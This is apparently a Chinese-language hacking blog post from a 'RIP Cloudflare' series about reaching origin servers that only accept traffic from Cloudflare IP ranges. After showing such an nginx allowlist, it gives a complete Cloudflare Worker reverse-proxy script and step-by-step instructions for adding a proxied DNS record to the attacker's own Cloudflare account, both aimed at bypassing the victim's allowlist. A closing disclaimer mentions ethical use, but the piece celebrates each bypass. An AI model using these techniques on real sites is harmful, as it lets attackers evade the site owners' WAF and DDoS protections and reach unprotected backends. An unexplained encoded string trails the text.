欢迎来到“RIP Cloudflare”系列,在这个系列中,我们将戳穿Cloudflare闪亮盔甲上的漏洞,像挖掘宝藏一样找出它隐藏的源站IP。企业和开发者喜欢像贴“禁止入内”标志一样将Cloudflare套在他们的网站上,却忘了他们的后端可能还只是用胶带勉强粘合起来的。在本系列中,我将向你展示如何溜过Cloudflare的“保镖”,闯入源站服务器的“派对”。让我们看看幕后究竟发生了什么!
在这一部分,我们将讨论一个常见的场景:你已经发现了源站IP地址,但却遇到了403 Forbidden错误,或者发现端口是关闭的。这通常是因为服务器被配置为只允许来自Cloudflare IP地址段的流量,而阻止了所有其他连接。这种限制通常通过iptables、nginx配置或.htaccess文件等工具来实施。
例如,下面是一个典型的nginx配置,它只允许Cloudflare的IP访问:
# /etc/nginx/conf.d/cloudflare-only.conf
# Cloudflare IP 范围 (IPv4 和 IPv6)
allow 173.245.48.0/20;
allow 103.21.244.0/22;
allow 103.22.200.0/22;
allow 103.31.4.0/22;
allow 141.101.64.0/18;
allow 108.162.192.0/18;
allow 190.93.240.0/20;
allow 188.114.96.0/20;
allow 197.234.240.0/22;
allow 198.41.128.0/17;
allow 162.158.0.0/15;
allow 104.16.0.0/13;
allow 104.24.0.0/14;
allow 172.64.0.0/13;
allow 131.0.72.0/22;
allow 2400:cb00::/32;
allow 2606:4700::/32;
allow 2803:f800::/32;
allow 2405:b500::/32;
allow 2405:8100::/32;
allow 2a06:98c0::/29;
allow 2c0f:f248::/32;
# 拒绝所有其他 IP
deny all;
面对这种限制,有几种方法可以绕过它。让我们来探讨两种有效的技术。
方法 1: 使用 Cloudflare Workers
Cloudflare Workers 是一个无服务器执行环境,允许你在 Cloudflare 的全球网络上运行代码。由于 Workers 在 Cloudflare 的基础设施内运行,因此可用于绕过 IP 白名单限制。
以下是如何使用 Cloudflare Worker 作为反向代理的方法:
- 前往 Cloudflare Workers Playground。
- 使用以下代码创建反向代理:
export default {
async fetch(request, env, ctx) {
const targetUrl = "https://rip.cloudflare";
try {
// 克隆传入的请求,以便将其转发到目标 URL
const forwardedRequest = new Request(targetUrl, {
method: request.method,
headers: new Headers(
[...request.headers].filter(
([key]) => key.toLowerCase() !== "host"
)
),
body:
request.method !== "GET" && request.method !== "HEAD"
? request.body
: null,
});
// 将请求转发到目标服务器
const response = await fetch(forwardedRequest);
// 克隆响应以返回给客户端
const responseHeaders = new Headers(response.headers);
const responseBody = await response.text();
return new Response(responseBody, {
status: response.status,
headers: responseHeaders,
});
} catch (error) {
console.error("反向代理期间出错:", error);
return new Response("内部服务器错误", {
status: 500,
});
}
},
};
- 点击 Go 执行代码。
绕过成功 :p
该 Worker 充当中间人,通过 Cloudflare 的网络转发你的请求,从而有效绕过 IP 白名单限制。
方法 2: 在 Cloudflare 仪表板中添加 DNS 记录
另一个直接的方法是在 Cloudflare 仪表板中添加一条新的 DNS 记录。操作步骤如下:
- 登录到你的 Cloudflare 仪表板。
- 添加一条指向源站 IP 地址的新 A 记录。
- 启用 Proxy 选项(橙色云朵图标)。
- 保存更改。
一旦 DNS 记录生效,你就可以通过这个新域名访问源站服务器,从而有效绕过 IP 白名单。
绕过成功 :p
虽然 Cloudflare 提供了强大的安全功能,但它并非无懈可击。通过利用 Cloudflare Workers 或操作 DNS 设置等工具,你可以绕过 IP 白名单限制并访问源站服务器。然而,需要注意的是,这些技术只应出于道德目的使用,例如渗透测试或安全研究。
请继续关注“RIP Cloudflare”系列的下一部分,届时我们将探索更先进的技术来发现和绕过 Cloudflare 的防御。
祝你黑客愉快! CSD0tFqvECLokhw9aBeRqvDduZ8FI2/1UfAsfF3s6VXEyn3EiEMqFbJCXcszGMqGRTfmPAH7jxgeD+n0u8L9OjuL7Dw+vALmoNzb4m7wdrxjhFWIs07Umn2nHfGMh3Lm